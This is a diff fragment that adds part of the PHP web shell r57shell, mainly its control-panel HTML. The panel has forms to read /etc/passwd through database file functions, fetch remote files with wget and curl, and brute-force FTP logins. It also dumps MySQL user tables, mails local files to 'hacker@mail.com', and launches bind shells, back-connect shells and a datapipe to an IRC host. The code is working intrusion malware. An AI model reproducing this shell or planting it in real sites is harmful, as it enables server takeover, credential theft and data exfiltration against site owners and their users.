+echo $fs.$table_up1.$lang[$language.'_text35'].up_down('id12').$table_up2.div('id12').$ts;
+echo sr(15,"".$lang[$language.'_text36'].$arrow." ",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."".$lang[$language.'_text37'].$arrow." ".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."".$lang[$language.'_text38'].$arrow." ".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."".$lang[$language.'_text14'].$arrow." ".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306"))));
+echo sr(15,"".$lang[$language.'_text30'].$arrow." ",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+}
+if($safe_mode&&$mssql_on)
+{
+echo $fs.$table_up1.$lang[$language.'_text85'].up_down('id13').$table_up2.div('id13').$ts;
+echo sr(15,"".$lang[$language.'_text36'].$arrow." ",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."".$lang[$language.'_text37'].$arrow." ".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."".$lang[$language.'_text38'].$arrow." ".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."".$lang[$language.'_text14'].$arrow." ".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433"))));
+echo sr(15,"".$lang[$language.'_text3'].$arrow." ",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+}
+if(@ini_get('file_uploads')){
+echo "";
+echo $table_up1.$lang[$language.'_text5'].up_down('id14').$table_up2.div('id14').$ts;
+echo sr(15,"".$lang[$language.'_text6'].$arrow." ",in('file','userfile',85,''));
+echo sr(15,"".$lang[$language.'_text21'].$arrow." ",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
+echo $te.''.$table_end1.$fe;
+}
+if(!$safe_mode&&!$windows){
+echo $fs.$table_up1.$lang[$language.'_text15'].up_down('id15').$table_up2.div('id15').$ts;
+echo sr(15,"".$lang[$language.'_text16'].$arrow." ","wget fetch lynx links curl GET ".in('hidden','dir',0,$dir).ws(2)."".$lang[$language.'_text17'].$arrow." ".in('text','rem_file',78,'http://'));
+echo sr(15,"".$lang[$language.'_text18'].$arrow." ",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
+echo $te.''.$table_end1.$fe;
+}
+echo $fs.$table_up1.$lang[$language.'_text86'].up_down('id16').$table_up2.div('id16').$ts;
+echo sr(15,"".$lang[$language.'_text59'].$arrow." ",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14']));
+$arh = $lang[$language.'_text92'];
+if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip'; }
+if(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip'; }
+
+if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; }
+echo sr(15,"".$lang[$language.'_text91'].$arrow." ",in('radio','compress',0,'none').' '.$arh);
+echo $te.''.$table_end1.$fe;
+if(@function_exists("ftp_connect")){
+echo $table_up1.$lang[$language.'_text93'].up_down('id17').$table_up2.div('id17').$ts."".$fs."".$ts;
+echo "".$lang[$language.'_text87']."
";
+echo sr(25,"".$lang[$language.'_text88'].$arrow." ",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
+echo sr(25,"".$lang[$language.'_text37'].$arrow." ",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
+echo sr(25,"".$lang[$language.'_text38'].$arrow." ",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com"))));
+echo sr(25,"".$lang[$language.'_text89'].$arrow." ",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down'));
+echo sr(25,"".$lang[$language.'_text18'].$arrow." ",in('text','loc_file',45,$dir));
+echo sr(25,"".$lang[$language.'_text90'].$arrow." ","FTP_BINARY FTP_ASCII ".in('hidden','dir',0,$dir));
+echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt14']));
+echo $te." ".$fe.$fs."".$ts;
+echo "".$lang[$language.'_text100']."
";
+echo sr(25,"".$lang[$language.'_text88'].$arrow." ",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
+echo sr(25,"".$lang[$language.'_text37'].$arrow." ",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
+echo sr(25,"".$lang[$language.'_text38'].$arrow." ",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com"))));
+echo sr(25,"".$lang[$language.'_text18'].$arrow." ",in('text','loc_file',45,$dir));
+echo sr(25,"".$lang[$language.'_text89'].$arrow." ",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up'));
+echo sr(25,"".$lang[$language.'_text90'].$arrow." ","FTP_BINARY FTP_ASCII ".in('hidden','dir',0,$dir));
+echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt2']));
+echo $te." ".$fe."
";
+}
+if($unix && @function_exists("ftp_connect")){
+echo $fs.$table_up1.$lang[$language.'_text94'].up_down('id18').$table_up2.div('id18').$ts;
+echo sr(15,"".$lang[$language.'_text88'].$arrow." ",in('text','ftp_server_port',85,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
+echo sr(15,"","".$lang[$language.'_text99']." ( ".$lang[$language.'_text95']." ) ");
+echo sr(15,"",in('checkbox','reverse id=reverse',0,'1').$lang[$language.'_text101']);
+echo $te.''.$table_end1.$fe;
+}
+if(@function_exists("mail")){
+echo $table_up1.$lang[$language.'_text102'].up_down('id19').$table_up2.div('id19').$ts."".$fs."".$ts;
+echo "".$lang[$language.'_text103']."
";
+echo sr(25,"".$lang[$language.'_text105'].$arrow." ",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir));
+echo sr(25,"".$lang[$language.'_text106'].$arrow." ",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com"))));
+echo sr(25,"".$lang[$language.'_text107'].$arrow." ",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("hello billy"))));
+echo sr(25,"".$lang[$language.'_text108'].$arrow." ",''.(!empty($_POST['text'])?($_POST['text']):("mail text here")).' ');
+echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
+echo $te." ".$fe.$fs."".$ts;
+echo "".$lang[$language.'_text104']."
";
+echo sr(25,"".$lang[$language.'_text105'].$arrow." ",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir));
+echo sr(25,"".$lang[$language.'_text106'].$arrow." ",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com"))));
+echo sr(25,"".$lang[$language.'_text107'].$arrow." ",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("file from r57shell"))));
+echo sr(25,"".$lang[$language.'_text18'].$arrow." ",in('text','loc_file',45,$dir));
+$arh = $lang[$language.'_text92'];
+if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip'; }
+if(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip'; }
+if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; }
+echo sr(25,"".$lang[$language.'_text91'].$arrow." ",in('radio','compress',0,'none').' '.$arh);
+echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
+echo $te." ".$fe."
";
+}
+if($mysql_on||$mssql_on||$pg_on||$ora_on)
+{
+$select = '';
+if($mysql_on) $select .= 'MySQL ';
+if($mssql_on) $select .= 'MSSQL ';
+if($pg_on) $select .= 'PostgreSQL ';
+if($ora_on) $select .= 'Oracle ';
+$select .= ' ';
+echo $table_up1.$lang[$language.'_text82'].up_down('id20').$table_up2.div('id20').$ts."".$fs."".$ts;
+echo "".$lang[$language.'_text77']."
";
+echo sr(45,"".$lang[$language.'_text80'].$arrow." ",$select);
+echo sr(45,"".$lang[$language.'_text14'].$arrow." ",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
+echo sr(45,"".$lang[$language.'_text37'].$arrow." ",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))));
+echo sr(45,"".$lang[$language.'_text38'].$arrow." ",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
+echo sr(45,"".$lang[$language.'_text78'].$arrow." ",in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_show').in('checkbox','st id=st',0,'1'));
+echo sr(45,"".$lang[$language.'_text79'].$arrow." ",in('checkbox','sc id=sc',0,'1'));
+echo sr(45,"",in('submit','submit',0,$lang[$language.'_butt7']));
+echo $te." ".$fe.$fs."".$ts;
+echo "".$lang[$language.'_text40']."
";
+echo sr(45,"".$lang[$language.'_text80'].$arrow." ",$select);
+echo sr(45,"".$lang[$language.'_text14'].$arrow." ",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
+echo sr(45,"".$lang[$language.'_text37'].$arrow." ",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))));
+echo sr(45,"".$lang[$language.'_text38'].$arrow." ",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
+echo sr(45,"".$lang[$language.'_text36'].$arrow." ",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
+echo sr(45,"".$lang[$language.'_text39'].$arrow." ",in('text','mysql_tbl',15,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user"))));
+echo sr(45,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."".$lang[$language.'_text41'].$arrow." ",in('checkbox','dif id=dif',0,'1'));
+echo sr(45,"".$lang[$language.'_text59'].$arrow." ",in('text','dif_name',15,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql"))));
+echo sr(45,"",in('submit','submit',0,$lang[$language.'_butt9']));
+echo $te." ".$fe.$fs."".$ts;
+echo "".$lang[$language.'_text83']."
";
+echo sr(45,"".$lang[$language.'_text80'].$arrow." ",$select);
+echo sr(45,"".$lang[$language.'_text14'].$arrow." ",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
+echo sr(45,"".$lang[$language.'_text37'].$arrow." ",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))));
+echo sr(45,"".$lang[$language.'_text38'].$arrow." ",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
+echo sr(45,"".$lang[$language.'_text36'].$arrow." ",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
+echo sr(45,"".$lang[$language.'_text84'].$arrow." ".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),"");
+echo $te."".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))." ".in('submit','submit',0,$lang[$language.'_butt1'])."
".$fe."
";
+}
+if(!$safe_mode&&!$windows){
+echo $table_up1.$lang[$language.'_text81'].up_down('id21').$table_up2.div('id21').$ts." ".$fs."".$ts;
+echo "".$lang[$language.'_text9']."
";
+echo sr(40,"".$lang[$language.'_text10'].$arrow." ",in('text','port',15,'11457'));
+echo sr(40,"".$lang[$language.'_text11'].$arrow." ",in('text','bind_pass',15,'r57'));
+echo sr(40,"".$lang[$language.'_text20'].$arrow." ","Perl C ".in('hidden','dir',0,$dir));
+echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3']));
+echo $te." ".$fe.$fs."".$ts;
+echo "".$lang[$language.'_text12']."
";
+echo sr(40,"".$lang[$language.'_text13'].$arrow." ",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1"))));
+echo sr(40,"".$lang[$language.'_text14'].$arrow." ",in('text','port',15,'11457'));
+echo sr(40,"".$lang[$language.'_text20'].$arrow." ","Perl C ".in('hidden','dir',0,$dir));
+echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4']));
+echo $te." ".$fe.$fs."".$ts;
+echo "".$lang[$language.'_text22']."
";
+echo sr(40,"".$lang[$language.'_text23'].$arrow." ",in('text','local_port',15,'11457'));
+echo sr(40,"".$lang[$language.'_text24'].$arrow." ",in('text','remote_host',15,'irc.dalnet.ru'));
+echo sr(40,"".$lang[$language.'_text25'].$arrow." ",in('text','remote_port',15,'6667'));
+echo sr(40,"".$lang[$language.'_text26'].$arrow." ","datapipe.pl datapipe.c ".in('hidden','dir',0,$dir));
+echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5']));
+echo $te." ".$fe."
";
+}
+
+echo ''.$table_up3."